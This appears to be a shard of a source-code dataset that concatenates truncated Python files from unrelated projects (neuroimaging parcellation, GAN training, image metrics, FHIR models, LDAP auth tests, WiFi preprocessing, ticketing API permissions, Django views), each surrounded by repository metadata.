"BSD-2-Clause"
] | null | null | null | nilearn/regions/parcellations.py | celinede/nilearn | 901a627c4c5ae491fef19d58307805b3657b3b7e | [
"BSD-2-Clause"
] | null | null | null | nilearn/regions/parcellations.py | celinede/nilearn | 901a627c4c5ae491fef19d58307805b3657b3b7e | [
"BSD-2-Clause"
] | null | null | null | """Parcellation tools such as KMeans or Ward for fMRI images
"""
import numpy as np
from sklearn.base import clone
from sklearn.feature_extraction import image
from sklearn.externals.joblib import Memory, delayed, Parallel
from .rena_clustering import ReNA
from ..decomposition.multi_pca import MultiPCA
from ..input_... | 38.746479 | 79 | 0.615568 |
import numpy as np
from sklearn.base import clone
from sklearn.feature_extraction import image
from sklearn.externals.joblib import Memory, delayed, Parallel
from .rena_clustering import ReNA
from ..decomposition.multi_pca import MultiPCA
from ..input_data import NiftiLabelsMasker
from .._utils.compat import _basest... | true | true |
1c4932ee7a5e84c853b683328353f9c0b6b2e71a | 22,244 | py | Python | scripts/train.py | LucasPagano/sga- | 5b4b88ebf826c2be022f34eb66d5a712b911724a | [
"MIT"
] | null | null | null | scripts/train.py | LucasPagano/sga- | 5b4b88ebf826c2be022f34eb66d5a712b911724a | [
"MIT"
] | null | null | null | scripts/train.py | LucasPagano/sga- | 5b4b88ebf826c2be022f34eb66d5a712b911724a | [
"MIT"
] | null | null | null | import argparse
import gc
import logging
import os
import sys
import time
from collections import defaultdict
import torch
import torch.nn as nn
import torch.optim as optim
from sgan.data.loader import data_loader
from sgan.losses import gan_g_loss, gan_d_loss, l2_loss
from sgan.losses import displacement_error, fin... | 38.351724 | 91 | 0.630507 | import argparse
import gc
import logging
import os
import sys
import time
from collections import defaultdict
import torch
import torch.nn as nn
import torch.optim as optim
from sgan.data.loader import data_loader
from sgan.losses import gan_g_loss, gan_d_loss, l2_loss
from sgan.losses import displacement_error, fin... | true | true |
1c4933fa5c3c74bc7f7cab569a7ff8836860a861 | 816 | py | Python | CompressionCheck.py | BryanYehuda/CompressionMethodComparison | 79db365b46242e49116f92bb871545c0fce26635 | [
"MIT"
] | 1 | 2021-06-11T13:19:11.000Z | 2021-06-11T13:19:11.000Z | CompressionCheck.py | BryanYehuda/CompressionMethodComparison | 79db365b46242e49116f92bb871545c0fce26635 | [
"MIT"
] | null | null | null | CompressionCheck.py | BryanYehuda/CompressionMethodComparison | 79db365b46242e49116f92bb871545c0fce26635 | [
"MIT"
] | null | null | null | from math import log10, sqrt
import cv2
import numpy as np
def PSNR(original, compressed):
mse = np.mean((original - compressed) ** 2)
if(mse == 0):
return 100
max_pixel = 255.0
psnr = 20 * log10(max_pixel / sqrt(mse))
return psnr
def SNR(original, compressed):
mse = np.mean((origina... | 26.322581 | 51 | 0.604167 | from math import log10, sqrt
import cv2
import numpy as np
def PSNR(original, compressed):
mse = np.mean((original - compressed) ** 2)
if(mse == 0):
return 100
max_pixel = 255.0
psnr = 20 * log10(max_pixel / sqrt(mse))
return psnr
def SNR(original, compressed):
mse = np.mean((origina... | true | true |
1c49346a3a2d0de5170f4908b321fa9da8a9a573 | 5,190 | py | Python | fhir/resources/DSTU2/device.py | mmabey/fhir.resources | cc73718e9762c04726cd7de240c8f2dd5313cbe1 | [
"BSD-3-Clause"
] | null | null | null | fhir/resources/DSTU2/device.py | mmabey/fhir.resources | cc73718e9762c04726cd7de240c8f2dd5313cbe1 | [
"BSD-3-Clause"
] | null | null | null | fhir/resources/DSTU2/device.py | mmabey/fhir.resources | cc73718e9762c04726cd7de240c8f2dd5313cbe1 | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Generated from FHIR 1.0.2.7202 (http://hl7.org/fhir/StructureDefinition/Device) on 2019-05-14.
# 2019, SMART Health IT.
from . import (annotation, codeableconcept, contactpoint, domainresource,
fhirdate, fhirreference, identifier)
class Device(domai... | 37.608696 | 97 | 0.570328 |
from . import (annotation, codeableconcept, contactpoint, domainresource,
fhirdate, fhirreference, identifier)
class Device(domainresource.DomainResource):
resource_name = "Device"
def __init__(self, jsondict=None, strict=True):
self.contact = None
self.expiry = None
... | true | true |
1c4934d3e8034238ab0748a557fef674ad99a5a3 | 235 | py | Python | create_game/tools/fixed_obj.py | clvrai/create | 8d180cbdca01f4561655b889e82325a387afbeb6 | [
"MIT"
] | 11 | 2019-12-04T07:41:47.000Z | 2021-11-09T01:06:23.000Z | create_game/tools/fixed_obj.py | clvrai/create | 8d180cbdca01f4561655b889e82325a387afbeb6 | [
"MIT"
] | 2 | 2021-05-18T15:40:50.000Z | 2021-09-08T02:19:32.000Z | create_game/tools/fixed_obj.py | clvrai/create | 8d180cbdca01f4561655b889e82325a387afbeb6 | [
"MIT"
] | null | null | null | from .basic_obj import BasicObj
from pymunk import Body
class FixedObj(BasicObj):
def __init__(self, pos):
super().__init__(pos)
def _create_body(self, mass, inertia):
return Body(mass, inertia, Body.STATIC)
| 21.363636 | 47 | 0.693617 | from .basic_obj import BasicObj
from pymunk import Body
class FixedObj(BasicObj):
def __init__(self, pos):
super().__init__(pos)
def _create_body(self, mass, inertia):
return Body(mass, inertia, Body.STATIC)
| true | true |
1c4934fde3364c912b12331800694316ba35f6c8 | 1,093 | py | Python | maskrcnn_benchmark/data/datasets/evaluation/__init__.py | ashnair1/rotated_maskrcnn | c7208930ee361d32e98ad296bb5861e432dc6198 | [
"MIT"
] | null | null | null | maskrcnn_benchmark/data/datasets/evaluation/__init__.py | ashnair1/rotated_maskrcnn | c7208930ee361d32e98ad296bb5861e432dc6198 | [
"MIT"
] | null | null | null | maskrcnn_benchmark/data/datasets/evaluation/__init__.py | ashnair1/rotated_maskrcnn | c7208930ee361d32e98ad296bb5861e432dc6198 | [
"MIT"
] | null | null | null | from maskrcnn_benchmark.data import datasets
from .coco import coco_evaluation
from .voc import voc_evaluation
def evaluate(dataset, predictions, output_folder, **kwargs):
"""evaluate dataset using different methods based on dataset type.
Args:
dataset: Dataset object
predictions(list[BoxList... | 36.433333 | 87 | 0.707228 | from maskrcnn_benchmark.data import datasets
from .coco import coco_evaluation
from .voc import voc_evaluation
def evaluate(dataset, predictions, output_folder, **kwargs):
args = dict(
dataset=dataset, predictions=predictions, output_folder=output_folder, **kwargs
)
if isinstance(dataset, dataset... | true | true |
1c4935bed79fa1bba5b0b91761631a377901a072 | 342 | py | Python | Testing/PythonTests/probeVolume.py | danlamanna/ShapeWorks | 58ffac86cbea1e7f0b4ede9ff6ded167bd5dfc14 | [
"MIT"
] | null | null | null | Testing/PythonTests/probeVolume.py | danlamanna/ShapeWorks | 58ffac86cbea1e7f0b4ede9ff6ded167bd5dfc14 | [
"MIT"
] | null | null | null | Testing/PythonTests/probeVolume.py | danlamanna/ShapeWorks | 58ffac86cbea1e7f0b4ede9ff6ded167bd5dfc14 | [
"MIT"
] | null | null | null | import os
import sys
from shapeworks import *
def probeVolumeTest():
mesh = Mesh(os.environ["DATA"] + "/femur.vtk")
img = Image(os.environ["DATA"] + "/femurVtkDT.nrrd")
mesh.probeVolume(img)
compareMesh = Mesh(os.environ["DATA"] + "/probe.vtk")
return mesh == compareMesh
val = probeVolumeTest()
if val is... | 19 | 55 | 0.678363 | import os
import sys
from shapeworks import *
def probeVolumeTest():
mesh = Mesh(os.environ["DATA"] + "/femur.vtk")
img = Image(os.environ["DATA"] + "/femurVtkDT.nrrd")
mesh.probeVolume(img)
compareMesh = Mesh(os.environ["DATA"] + "/probe.vtk")
return mesh == compareMesh
val = probeVolumeTest()
if val is... | true | true |
1c4936d5138483813b170c41446e09327d1b11f7 | 11,544 | py | Python | applications/station/views.py | awwong1/apollo | 5571b5f222265bec3eed45b21e862636ccdc9a97 | [
"MIT"
] | null | null | null | applications/station/views.py | awwong1/apollo | 5571b5f222265bec3eed45b21e862636ccdc9a97 | [
"MIT"
] | null | null | null | applications/station/views.py | awwong1/apollo | 5571b5f222265bec3eed45b21e862636ccdc9a97 | [
"MIT"
] | null | null | null | from apollo.choices import CHARGE_LIST_OPEN
from apollo.viewmixins import LoginRequiredMixin, ActivitySendMixin, StaffRequiredMixin
from applications.business.models import Business
from applications.charge_list.forms import ActivityChargeCatalog, TimeChargeCatalog, UnitChargeCatalog
from applications.charge_list.model... | 43.727273 | 112 | 0.715956 | from apollo.choices import CHARGE_LIST_OPEN
from apollo.viewmixins import LoginRequiredMixin, ActivitySendMixin, StaffRequiredMixin
from applications.business.models import Business
from applications.charge_list.forms import ActivityChargeCatalog, TimeChargeCatalog, UnitChargeCatalog
from applications.charge_list.model... | true | true |
1c49399312452b6cbddff79a357ccab254f44b19 | 1,296 | py | Python | tests/keysformat.py | sdss/opscore | dd4f2b2ad525fe3dfe3565463de2c079a7e1232e | [
"BSD-3-Clause"
] | null | null | null | tests/keysformat.py | sdss/opscore | dd4f2b2ad525fe3dfe3565463de2c079a7e1232e | [
"BSD-3-Clause"
] | 1 | 2021-08-17T21:08:14.000Z | 2021-08-17T21:08:14.000Z | tests/keysformat.py | sdss/opscore | dd4f2b2ad525fe3dfe3565463de2c079a7e1232e | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/env python
"""Unit tests for opscore.protocols.keysformat
"""
# Created 18-Nov-2008 by David Kirkby (dkirkby@uci.edu)
import unittest
import opscore.protocols.keys as protoKeys
import opscore.protocols.keysformat as protoKeysFormat
class KeysFormatTest(unittest.TestCase):
def setUp(self):
self... | 29.454545 | 55 | 0.566358 |
import unittest
import opscore.protocols.keys as protoKeys
import opscore.protocols.keysformat as protoKeysFormat
class KeysFormatTest(unittest.TestCase):
def setUp(self):
self.p = protoKeysFormat.KeysFormatParser()
def test00(self):
self.p.parse("key1 key2 key3")
self.p.parse("key1 ... | true | true |
1c4939aa892f9cb888046d7e51fce1e1a1ca183e | 2,308 | py | Python | pypeln/task/api/ordered.py | isaacjoy/pypeln | 5909376b30fe25fd869e49e4e46b7782d48f1be2 | [
"MIT"
] | null | null | null | pypeln/task/api/ordered.py | isaacjoy/pypeln | 5909376b30fe25fd869e49e4e46b7782d48f1be2 | [
"MIT"
] | null | null | null | pypeln/task/api/ordered.py | isaacjoy/pypeln | 5909376b30fe25fd869e49e4e46b7782d48f1be2 | [
"MIT"
] | null | null | null | import bisect
import typing as tp
from pypeln import utils as pypeln_utils
from pypeln.utils import A, B, T
from ..stage import Stage
from ..worker import ProcessFn, Worker
from .to_stage import to_stage
class Ordered(tp.NamedTuple):
async def __call__(self, worker: Worker, **kwargs):
elems = []
... | 25.644444 | 169 | 0.646014 | import bisect
import typing as tp
from pypeln import utils as pypeln_utils
from pypeln.utils import A, B, T
from ..stage import Stage
from ..worker import ProcessFn, Worker
from .to_stage import to_stage
class Ordered(tp.NamedTuple):
async def __call__(self, worker: Worker, **kwargs):
elems = []
... | true | true |
1c493a6ccaff1cb394bb3af2c0302efee6de17c6 | 19,882 | py | Python | tests/unit/test_ldap_backend.py | geolaz/st2-auth-backend-ldap | e0deebc5109adca39b41a851b359d5b88943229a | [
"Apache-2.0"
] | 16 | 2015-09-05T16:05:36.000Z | 2022-02-22T12:48:58.000Z | tests/unit/test_ldap_backend.py | geolaz/st2-auth-backend-ldap | e0deebc5109adca39b41a851b359d5b88943229a | [
"Apache-2.0"
] | 19 | 2016-02-26T23:36:30.000Z | 2021-03-25T14:28:12.000Z | tests/unit/test_ldap_backend.py | geolaz/st2-auth-backend-ldap | e0deebc5109adca39b41a851b359d5b88943229a | [
"Apache-2.0"
] | 26 | 2016-03-29T18:47:46.000Z | 2021-03-25T08:35:03.000Z | # Licensed to the StackStorm, Inc ('StackStorm') under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not use th... | 45.81106 | 195 | 0.63228 |
import ldap
import logging
import os
import re
import unittest2
import mock
from mockldap import MockLdap
from mockldap.recording import RecordedMethod
from st2auth_ldap_backend import ldap_backend
from st2auth_ldap_backend.ldap_backend import LDAPAuthenticationBackend
BASE_DIR = os.path.dirname(os.path.abspath(__fi... | true | true |
1c493b5eb5539f3e0d4794d929c482d9fe3c4bc4 | 562 | py | Python | books/management/commands/xlsx_books_import.py | cnlis/lib_books | 05bed0f9775826e0b1f968a766ddf5c2d1d55f40 | [
"MIT"
] | null | null | null | books/management/commands/xlsx_books_import.py | cnlis/lib_books | 05bed0f9775826e0b1f968a766ddf5c2d1d55f40 | [
"MIT"
] | null | null | null | books/management/commands/xlsx_books_import.py | cnlis/lib_books | 05bed0f9775826e0b1f968a766ddf5c2d1d55f40 | [
"MIT"
] | null | null | null | import os
from django.core.management.base import BaseCommand, CommandError
from books.parsers.books_import import books_saver
from books.parsers.xlsx_import_export import xlsx_read
class Command(BaseCommand):
def add_arguments(self, parser):
parser.add_argument('file', type=str)
def handle(self, *... | 29.578947 | 69 | 0.699288 | import os
from django.core.management.base import BaseCommand, CommandError
from books.parsers.books_import import books_saver
from books.parsers.xlsx_import_export import xlsx_read
class Command(BaseCommand):
def add_arguments(self, parser):
parser.add_argument('file', type=str)
def handle(self, *... | true | true |
1c493bdf953ce763337d874af9e7af5c511847cd | 2,443 | py | Python | test/functional/p2p_blocksonly.py | aentan/ain | 1d6db33159de1c8c7930d29a0ab0902f42b728c1 | [
"MIT"
] | null | null | null | test/functional/p2p_blocksonly.py | aentan/ain | 1d6db33159de1c8c7930d29a0ab0902f42b728c1 | [
"MIT"
] | null | null | null | test/functional/p2p_blocksonly.py | aentan/ain | 1d6db33159de1c8c7930d29a0ab0902f42b728c1 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# Copyright (c) 2019 The Bitcoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""Test p2p blocksonly"""
from test_framework.messages import msg_tx, CTransaction, FromHex
from test_framewor... | 41.40678 | 98 | 0.630782 |
from test_framework.messages import msg_tx, CTransaction, FromHex
from test_framework.mininode import P2PInterface
from test_framework.test_framework import BitcoinTestFramework
from test_framework.util import assert_equal
class P2PBlocksOnly(BitcoinTestFramework):
def set_test_params(self):
self.setup_c... | true | true |
1c493be0790b14fa3c6b8005e3c441951a283582 | 1,373 | py | Python | fanogan/test_anomaly_detection.py | A03ki/f-AnoGAN | c431034f818c9c9577c0ecac5d9390a9293c4661 | [
"MIT"
] | 41 | 2020-04-17T06:37:00.000Z | 2022-03-21T10:58:20.000Z | fanogan/test_anomaly_detection.py | A03ki/f-AnoGAN | c431034f818c9c9577c0ecac5d9390a9293c4661 | [
"MIT"
] | 3 | 2020-11-25T14:06:59.000Z | 2022-03-31T13:01:09.000Z | 20) AnoGAN,f-AnoGAN/f-AnoGAN/fanogan/test_anomaly_detection.py | LEE-SEON-WOO/Deep_Learning_Zero_to_Gan | fecd9672f8f216e2d9ee618b2a03ed6b6d2fa3ba | [
"MIT"
] | 18 | 2020-04-16T09:23:11.000Z | 2022-03-27T15:45:30.000Z | import torch
import torch.nn as nn
from torch.utils.model_zoo import tqdm
def test_anomaly_detection(opt, generator, discriminator, encoder,
dataloader, device, kappa=1.0):
generator.load_state_dict(torch.load("results/generator"))
discriminator.load_state_dict(torch.load("results/d... | 32.690476 | 70 | 0.668609 | import torch
import torch.nn as nn
from torch.utils.model_zoo import tqdm
def test_anomaly_detection(opt, generator, discriminator, encoder,
dataloader, device, kappa=1.0):
generator.load_state_dict(torch.load("results/generator"))
discriminator.load_state_dict(torch.load("results/d... | true | true |
1c493c2bf3a81a6fac43b70ac6aa4941ba45540e | 4,950 | py | Python | ask-sdk-model/ask_sdk_model/services/list_management/alexa_list.py | Signal-Kinetics/alexa-apis-for-python | abb8d3dce18a5510c48b215406ed36c024f01495 | [
"Apache-2.0"
] | 2 | 2021-10-30T06:52:48.000Z | 2021-11-16T12:34:16.000Z | ask-sdk-model/ask_sdk_model/services/list_management/alexa_list.py | Signal-Kinetics/alexa-apis-for-python | abb8d3dce18a5510c48b215406ed36c024f01495 | [
"Apache-2.0"
] | null | null | null | ask-sdk-model/ask_sdk_model/services/list_management/alexa_list.py | Signal-Kinetics/alexa-apis-for-python | abb8d3dce18a5510c48b215406ed36c024f01495 | [
"Apache-2.0"
] | null | null | null | # coding: utf-8
#
# Copyright 2019 Amazon.com, Inc. or its affiliates. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file
# except in compliance with the License. A copy of the License is located at
#
# http://aws.amazon.com/apache2.0/
#
# or in the "lice... | 34.137931 | 138 | 0.609293 |
import pprint
import re import six
import typing
from enum import Enum
if typing.TYPE_CHECKING:
from typing import Dict, List, Optional, Union
from datetime import datetime
from ask_sdk_model.services.list_management.alexa_list_item import AlexaListItem
from ask_sdk_model.services.list_management.l... | true | true |
1c493d04d827f7eee6049ec2ce025df8bc70b4f9 | 7,100 | py | Python | lte/gateway/python/magma/pipelined/main.py | ashish-acl/magma | d938f420b56b867a7c64101e6fac63f50be58a46 | [
"BSD-3-Clause"
] | null | null | null | lte/gateway/python/magma/pipelined/main.py | ashish-acl/magma | d938f420b56b867a7c64101e6fac63f50be58a46 | [
"BSD-3-Clause"
] | 151 | 2020-09-03T20:44:13.000Z | 2022-03-31T20:28:52.000Z | lte/gateway/python/magma/pipelined/main.py | ashish-acl/magma | d938f420b56b867a7c64101e6fac63f50be58a46 | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/env python3
"""
Copyright 2020 The Magma Authors.
This source code is licensed under the BSD-style license found in the
LICENSE file in the root directory of this source tree.
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASI... | 37.172775 | 88 | 0.705775 |
import asyncio
import logging
import threading
import aioeventlet
from ryu import cfg
from ryu.base.app_manager import AppManager
from scapy.arch import get_if_hwaddr
from ryu.ofproto.ofproto_v1_4 import OFPP_LOCAL
from magma.common.misc_utils import call_process, get_ip_from_if
from magma.common.sentry import sentr... | true | true |
1c493e1bf2ed370836c63e29a5f7c2abab7be087 | 1,982 | py | Python | azure/mgmt/network/v2016_09_01/models/vpn_client_configuration.py | EnjoyLifeFund/Debian_py36_packages | 1985d4c73fabd5f08f54b922e73a9306e09c77a5 | [
"BSD-3-Clause",
"BSD-2-Clause",
"MIT"
] | 1 | 2022-01-25T22:52:58.000Z | 2022-01-25T22:52:58.000Z | azure/mgmt/network/v2016_09_01/models/vpn_client_configuration.py | EnjoyLifeFund/Debian_py36_packages | 1985d4c73fabd5f08f54b922e73a9306e09c77a5 | [
"BSD-3-Clause",
"BSD-2-Clause",
"MIT"
] | null | null | null | azure/mgmt/network/v2016_09_01/models/vpn_client_configuration.py | EnjoyLifeFund/Debian_py36_packages | 1985d4c73fabd5f08f54b922e73a9306e09c77a5 | [
"BSD-3-Clause",
"BSD-2-Clause",
"MIT"
] | null | null | null | # coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
#
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes ... | 47.190476 | 126 | 0.717962 |
from msrest.serialization import Model
class VpnClientConfiguration(Model):
_attribute_map = {
'vpn_client_address_pool': {'key': 'vpnClientAddressPool', 'type': 'AddressSpace'},
'vpn_client_root_certificates': {'key': 'vpnClientRootCertificates', 'type': '[VpnClientRootCertificate]'},
'... | true | true |
1c493e8807b0e5346571eaaacbb826cbf365e77c | 565 | py | Python | tracker/user.py | k4t0mono/bridge-chat | 49f70e270002b1cb91363b2a0b3acce2a56fee16 | [
"BSD-2-Clause"
] | null | null | null | tracker/user.py | k4t0mono/bridge-chat | 49f70e270002b1cb91363b2a0b3acce2a56fee16 | [
"BSD-2-Clause"
] | null | null | null | tracker/user.py | k4t0mono/bridge-chat | 49f70e270002b1cb91363b2a0b3acce2a56fee16 | [
"BSD-2-Clause"
] | null | null | null | import jwt
import time
import os
class User():
def __init__(self, login):
self.login = login
self.tokens = []
def gen_token(self):
end = int(str(time.time())[:-8]) + 86400
d = { 'login': self.login, 'type': 'auth', 'time': end }
t = jwt.encode(d, os.environ['B... | 23.541667 | 80 | 0.534513 | import jwt
import time
import os
class User():
def __init__(self, login):
self.login = login
self.tokens = []
def gen_token(self):
end = int(str(time.time())[:-8]) + 86400
d = { 'login': self.login, 'type': 'auth', 'time': end }
t = jwt.encode(d, os.environ['B... | true | true |
1c493e966b7d54c69854c811b65ceb355625b0b4 | 347 | py | Python | Python3/0009-Palindrome-Number/soln.py | wyaadarsh/LeetCode-Solutions | 3719f5cb059eefd66b83eb8ae990652f4b7fd124 | [
"MIT"
] | 5 | 2020-07-24T17:48:59.000Z | 2020-12-21T05:56:00.000Z | Python3/0009-Palindrome-Number/soln.py | zhangyaqi1989/LeetCode-Solutions | 2655a1ffc8678ad1de6c24295071308a18c5dc6e | [
"MIT"
] | null | null | null | Python3/0009-Palindrome-Number/soln.py | zhangyaqi1989/LeetCode-Solutions | 2655a1ffc8678ad1de6c24295071308a18c5dc6e | [
"MIT"
] | 2 | 2020-07-24T17:49:01.000Z | 2020-08-31T19:57:35.000Z | class Solution:
def isPalindrome(self, x):
"""
:type x: int
:rtype: bool
"""
# solve it without converting the integer to a string
if x < 0:
return False
r = 0
origin = x
while x:
r = r * 10 + x % 10
x //= 10... | 23.133333 | 61 | 0.420749 | class Solution:
def isPalindrome(self, x):
if x < 0:
return False
r = 0
origin = x
while x:
r = r * 10 + x % 10
x //= 10
return r == origin | true | true |
1c493ee7f94ba470d37424f4171f5c35c2ec9d91 | 15,082 | py | Python | vspk/v6/nufirewallacl.py | axxyhtrx/vspk-python | 4495882c6bcbb1ef51b14b9f4dc7efe46476ff50 | [
"BSD-3-Clause"
] | 19 | 2016-03-07T12:34:22.000Z | 2020-06-11T11:09:02.000Z | vspk/v6/nufirewallacl.py | axxyhtrx/vspk-python | 4495882c6bcbb1ef51b14b9f4dc7efe46476ff50 | [
"BSD-3-Clause"
] | 40 | 2016-06-13T15:36:54.000Z | 2020-11-10T18:14:43.000Z | vspk/v6/nufirewallacl.py | axxyhtrx/vspk-python | 4495882c6bcbb1ef51b14b9f4dc7efe46476ff50 | [
"BSD-3-Clause"
] | 15 | 2016-06-10T22:06:01.000Z | 2020-12-15T18:37:42.000Z | # -*- coding: utf-8 -*-
#
# Copyright (c) 2015, Alcatel-Lucent Inc, 2017 Nokia
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
# * Redistributions of source code must retain the above copyrigh... | 30.164 | 296 | 0.604628 |
from .fetchers import NUPermissionsFetcher
from .fetchers import NUMetadatasFetcher
from .fetchers import NUFirewallRulesFetcher
from .fetchers import NUGlobalMetadatasFetcher
from .fetchers import NUDomainsFetcher
from bambou import NURESTObject
class NUFirewallAcl(NURESTObject):
__rest_name__ = "f... | true | true |
1c493ef011476abc24d0368d37585b1c67c3570d | 1,548 | py | Python | umusicfy/user_profile/urls.py | CarlosMart626/umusicfy | 97e2166fe26d1fbe36df6bea435044ef3d367edf | [
"Apache-2.0"
] | null | null | null | umusicfy/user_profile/urls.py | CarlosMart626/umusicfy | 97e2166fe26d1fbe36df6bea435044ef3d367edf | [
"Apache-2.0"
] | 8 | 2020-06-05T18:08:05.000Z | 2022-01-13T00:44:30.000Z | umusicfy/user_profile/urls.py | CarlosMart626/umusicfy | 97e2166fe26d1fbe36df6bea435044ef3d367edf | [
"Apache-2.0"
] | null | null | null | from django.contrib.auth.decorators import login_required
from django.conf.urls import url
# Import Class Based Views
from .views import UserProfileView, UpdateUserProfileView, UpdateUserPasswordView, \
UserProfileDetailView, PlaylistDetailView, PlaylistCreateView, FollowUserProfileView, \
FollowPlaylistView,... | 57.333333 | 116 | 0.720284 | from django.contrib.auth.decorators import login_required
from django.conf.urls import url
from .views import UserProfileView, UpdateUserProfileView, UpdateUserPasswordView, \
UserProfileDetailView, PlaylistDetailView, PlaylistCreateView, FollowUserProfileView, \
FollowPlaylistView, PlayListListView, AddToPla... | true | true |
1c49404f0513b7d760f2819862a1b1a1b9b0b8f1 | 48,784 | py | Python | preproc/preproc_wifi.py | metehancekic/wireless-fingerprinting | 41872761260b3fc26f33acec983220e8b4d9f42f | [
"MIT"
] | 12 | 2020-03-05T12:24:37.000Z | 2022-01-07T15:10:37.000Z | preproc/preproc_wifi.py | metehancekic/wireless-fingerprinting | 41872761260b3fc26f33acec983220e8b4d9f42f | [
"MIT"
] | 5 | 2020-06-29T02:17:14.000Z | 2021-06-24T22:22:23.000Z | preproc/preproc_wifi.py | metehancekic/wireless-fingerprinting | 41872761260b3fc26f33acec983220e8b4d9f42f | [
"MIT"
] | 5 | 2020-11-01T17:49:46.000Z | 2022-03-05T02:52:11.000Z | '''
Contains code for fractionally spaced equalization, preamble detection
Also includes a modified version of Teledyne's data read and preprocessing code
'''
import numpy as np
import os
import json
import csv
import math
import fractions
import resampy
from tqdm import tqdm, trange
import matplotlib
import matplotli... | 40.755221 | 174 | 0.55426 |
import numpy as np
import os
import json
import csv
import math
import fractions
import resampy
from tqdm import tqdm, trange
import matplotlib
import matplotlib.pyplot as plt
from scipy.fftpack import fft, ifft, fftshift, ifftshift
import ipdb
from sklearn.preprocessing import normalize
def preprocess_wifi(data_dic... | true | true |
1c4940a471a05633b194d7313df6009ea37014ef | 25,648 | py | Python | src/tests/api/test_permissions.py | tixl/tixl | 9f515a4b4e17a14d1990b29385475195438969be | [
"Apache-2.0"
] | null | null | null | src/tests/api/test_permissions.py | tixl/tixl | 9f515a4b4e17a14d1990b29385475195438969be | [
"Apache-2.0"
] | 8 | 2015-01-06T10:50:27.000Z | 2015-01-18T18:38:18.000Z | src/tests/api/test_permissions.py | tixl/tixl | 9f515a4b4e17a14d1990b29385475195438969be | [
"Apache-2.0"
] | null | null | null | #
# This file is part of pretix (Community Edition).
#
# Copyright (C) 2014-2020 Raphael Michel and contributors
# Copyright (C) 2020-2021 rami.io GmbH and contributors
#
# This program is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General
# Public License as published by ... | 45.314488 | 145 | 0.681535 |
import time
import pytest
from django.test import override_settings
from django.utils.timezone import now
from pretix.base.models import Organizer
event_urls = [
(None, ''),
(None, 'categories/'),
('can_view_orders', 'invoices/'),
(None, 'items/'),
('can_view_orders', 'orders/'),
('can_view... | true | true |
1c4940b8959cc53cd05290301b2d13364041c21b | 751 | py | Python | archive/migrations/0002_auto_20181215_2009.py | WarwickAnimeSoc/aniMango | f927c2bc6eb484561ab38172ebebee6f03c8b13b | [
"MIT"
] | null | null | null | archive/migrations/0002_auto_20181215_2009.py | WarwickAnimeSoc/aniMango | f927c2bc6eb484561ab38172ebebee6f03c8b13b | [
"MIT"
] | 6 | 2016-10-18T14:52:05.000Z | 2020-06-18T15:14:41.000Z | archive/migrations/0002_auto_20181215_2009.py | WarwickAnimeSoc/aniMango | f927c2bc6eb484561ab38172ebebee6f03c8b13b | [
"MIT"
] | 6 | 2020-02-07T17:37:37.000Z | 2021-01-15T00:01:43.000Z | # -*- coding: utf-8 -*-
# Generated by Django 1.10.2 on 2018-12-15 20:09
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('archive', '0001_initial'),
]
operations = [
migrations.AlterField(
... | 28.884615 | 161 | 0.585885 | from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('archive', '0001_initial'),
]
operations = [
migrations.AlterField(
model_name='item',
name='file',
field=models.... | true | true |
1c4941197e11bced5ec610532458438235e3a434 | 664 | py | Python | src/oca_github_bot/tasks/delete_branch.py | tafaRU/oca-github-bot | 4ede8cf4e7ffb6aa0fd02aadcdd53edfb94b211a | [
"MIT"
] | null | null | null | src/oca_github_bot/tasks/delete_branch.py | tafaRU/oca-github-bot | 4ede8cf4e7ffb6aa0fd02aadcdd53edfb94b211a | [
"MIT"
] | 1 | 2019-05-28T10:15:24.000Z | 2019-05-28T10:15:24.000Z | src/oca_github_bot/tasks/delete_branch.py | tafaRU/oca-github-bot | 4ede8cf4e7ffb6aa0fd02aadcdd53edfb94b211a | [
"MIT"
] | 1 | 2019-06-18T15:17:53.000Z | 2019-06-18T15:17:53.000Z | # Copyright (c) ACSONE SA/NV 2018
# Distributed under the MIT License (http://opensource.org/licenses/MIT).
from .. import github
from ..config import switchable
from ..github import gh_call
from ..queue import getLogger, task
_logger = getLogger(__name__)
@task()
@switchable()
def delete_branch(org, repo, branch, ... | 30.181818 | 75 | 0.674699 |
from .. import github
from ..config import switchable
from ..github import gh_call
from ..queue import getLogger, task
_logger = getLogger(__name__)
@task()
@switchable()
def delete_branch(org, repo, branch, dry_run=False):
with github.repository(org, repo) as gh_repo:
gh_branch = gh_call(gh_repo.ref, f... | true | true |
1c49418810ea5ca5da0598ff490ca27f6dd4bd50 | 4,785 | py | Python | had/app/views/api/v1/persons/phone_api.py | eduardolujan/hexagonal_architecture_django | 8055927cb460bc40f3a2651c01a9d1da696177e8 | [
"BSD-3-Clause"
] | 6 | 2020-08-09T23:41:08.000Z | 2021-03-16T22:05:40.000Z | had/app/views/api/v1/persons/phone_api.py | eduardolujan/hexagonal_architecture_django | 8055927cb460bc40f3a2651c01a9d1da696177e8 | [
"BSD-3-Clause"
] | 1 | 2020-10-02T02:59:38.000Z | 2020-10-02T02:59:38.000Z | had/app/views/api/v1/persons/phone_api.py | eduardolujan/hexagonal_architecture_django | 8055927cb460bc40f3a2651c01a9d1da696177e8 | [
"BSD-3-Clause"
] | 2 | 2021-03-16T22:05:43.000Z | 2021-04-30T06:35:25.000Z | # -*- coding: utf-8 -*-
from rest_framework.views import APIView
from rest_framework.permissions import AllowAny
from modules.shared.infrastructure.serializers.django.serializer_manager import (
SerializerManager as DjangoSerializerManager,
)
from modules.users.infrastructure.serializers.django import (
